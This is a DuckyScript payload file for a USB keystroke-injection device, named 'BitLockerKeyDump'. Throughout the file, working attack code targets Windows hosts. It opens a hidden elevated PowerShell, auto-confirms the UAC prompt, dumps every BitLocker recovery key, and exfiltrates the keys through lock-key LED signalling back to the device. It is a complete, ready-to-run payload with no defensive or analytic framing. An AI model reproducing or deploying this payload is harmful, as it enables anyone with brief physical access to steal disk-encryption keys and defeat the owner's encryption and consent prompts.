payload.txt

REM       BitLockerKeyDump
REM       Version 1.0
REM       OS: Windows
REM       Author: 0i41E
REM       Requirement: DuckyScript 3.0
REM       This small powershell payload dumps the users BitLocker recovery key and exfiltrates them via Keystroke Reflection

REM Extension made by Korben for checking if Target is Windows OS
EXTENSION EXTENSION PASSIVE_WINDOWS_DETECT
    REM VERSION 1.1
    REM AUTHOR: Korben

    REM_BLOCK DOCUMENTATION
        Windows fully passive OS Detection and passive Detect Ready
        Includes its own passive detect ready.
        Does not require additional extensions.

        USAGE:
            Extension runs inline (here)
            Place at beginning of payload (besides ATTACKMODE) to act as dynamic
            boot delay
            $_OS will be set to WINDOWS or NOT_WINDOWS
            See end of payload for usage within payload
    END_REM

    REM CONFIGURATION:
    DEFINE #MAX_WAIT 150
    DEFINE #CHECK_INTERVAL 20
    DEFINE #WINDOWS_HOST_REQUEST_COUNT 2
    DEFINE #NOT_WINDOWS 7

    $_OS = #NOT_WINDOWS

    VAR $MAX_TRIES = #MAX_WAIT
    WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0))
        DELAY #CHECK_INTERVAL
        $MAX_TRIES = ($MAX_TRIES - 1)
    END_WHILE
    IF ($_HOST_CONFIGURATION_REQUEST_COUNT > #WINDOWS_HOST_REQUEST_COUNT) THEN
        $_OS = WINDOWS
    END_IF

    REM_BLOCK EXAMPLE USAGE AFTER EXTENSION
        IF ($_OS == WINDOWS) THEN
            STRING HELLO WINDOWS!
        ELSE
            STRING HELLO WORLD!
        END_IF
    END_REM
END_EXTENSION

REM Extension made by 0i41E to signalize the payloads end
EXTENSION DETECT_FINISHED
    REM VERSION 1.0
    REM AUTHOR: 0i41E

    REM_BLOCK DOCUMENTATION
        USAGE:
            Use the function Detect_Finished() to signal the finished execution of your payload.
    END_REM

    REM CONFIGURATION:
    DEFINE #PAUSE 150
    FUNCTION Detect_Finished()
        IF ($_CAPSLOCK_ON == FALSE)
            CAPSLOCK
            DELAY #PAUSE
            CAPSLOCK
            DELAY #PAUSE
            CAPSLOCK
            DELAY #PAUSE
            CAPSLOCK
            ATTACKMODE OFF
        ELSE IF
            CAPSLOCK
            DELAY #PAUSE
            CAPSLOCK
            DELAY #PAUSE
            CAPSLOCK
            ATTACKMODE OFF
        END_IF
    END_FUNCTION
END_EXTENSION

REM Extension made by 0i41E for fileless exfiltration via Lock Keys
EXTENSION WINDOWS_FILELESS_HID_EXFIL
    REM VERSION 1.0
    REM AUTHOR: 0i41E

    REM_BLOCK DOCUMENTATION
        Extension for Keystroke Reflection data exfiltration without putting files on disk.
        This extension is a proof of concept for USB HID only Data Exfiltration and is based on Hak5s original Method.

        TARGET:
            Windows Hosts that supports powershell and SendKeys

        USAGE:
            Type out your command or script with powershell, don't execute it yet (so just type it out with STRING), afterwards you put the function Windows_Fileless_HID_Exfil() behind it.
            It'll take the commands/scritps output and writes it into a variable, which then gets exfiltrated.

        Example Usage:
            GUI r
            DELAY 500
            STRINGLN powershell
            DELAY 1000
            STRING echo "This is my test"
            Windows_Fileless_HID_Exfil()
    END_REM

    FUNCTION Windows_Fileless_HID_Exfil()
        DELAY 250
        REM Saving current Keyboard lock keys
        SAVE_HOST_KEYBOARD_LOCK_STATE
        $_EXFIL_MODE_ENABLED = TRUE
        $_EXFIL_LEDS_ENABLED = TRUE
        DELAY 500
        REM Setting the output as variable
        STRING |Out-String|Set-Variable -Name "DD";
        REM Converting output into Lock Key values
        STRING $BL = $DD.ToCharArray();$c = "";foreach ($b in $BL){foreach ($a in 0x80,0x40,0x20,0x10,0x08,0x04,0x02,0x01){if ($b -band $a){$c += '%{NUMLOCK}'}else{$c += '%{CAPSLOCK}'}}}$c += '%{SCROLLLOCK}';
        REM Exfiltrating via Keystroke Reflection
        STRINGLN Add-Type -A System.Windows.Forms;[System.Windows.Forms.SendKeys]::SendWait($c);exit
        REM The final SCROLLLOCK value will be sent to indicate that EXFIL is complete.
        WAIT_FOR_SCROLL_CHANGE
        LED_G
        $_EXFIL_MODE_ENABLED = FALSE
        RESTORE_HOST_KEYBOARD_LOCK_STATE
    END_FUNCTION
END_EXTENSION

REM Execution of "Yes" shortcut: ALT j (german), ALT y (english)
DEFINE #YES_SHORTCUT ALT j

REM If Target is Windows, execute payload
IF ($_OS == WINDOWS) THEN
    GUI r
    DELAY 500
    REM Opening hidden powershell and pressing CAPSLOCK as Administrator
    STRING powershell -nop -c "Add-Type -A System.Windows.Forms;[System.Windows.Forms.SendKeys]::SendWait('{CAPSLOCK}');powershell.exe -nop -w h"
    DELAY 250
    CTRL-SHIFT ENTER
REM Rather long DELAY to increase reliability
    DELAY 2000
REM Shortcut for pressing yes when UAC prompt appears
    #YES_SHORTCUT
REM Check for CAPSLOCK change to see if execution as Admin was successful 
    WAIT_FOR_CAPS_CHANGE
    DELAY 1500
REM Dumping recovery keys
    STRING Get-BitLockerVolume|ForEach-Object{$drive = $_.MountPoint;$Key = [string]($_.KeyProtector).RecoveryPassword;if ($Key.Length -gt 5){Write-Output ("$drive Drive - Recovery Key: $Key")}}
REM Exfiltrating keys via Keystroke Reflection
    Windows_Fileless_HID_Exfil()
    DELAY 150
    Detect_Finished()
REM If System is not Windows...
ELSE 
    DELAY 500
REM ... and CAPSLOCK is ON, open Storage... 
    IF ($_CAPSLOCK_ON == TRUE) THEN
        ATTACKMODE STORAGE
REM ... If CAPSLOCK is OFF, stay in ATTACKMODE OFF   
    ELSE
        LED_RED
        DELAY 1000
        LED_OFF
        ATTACKMODE OFF
    END_IF
END_IF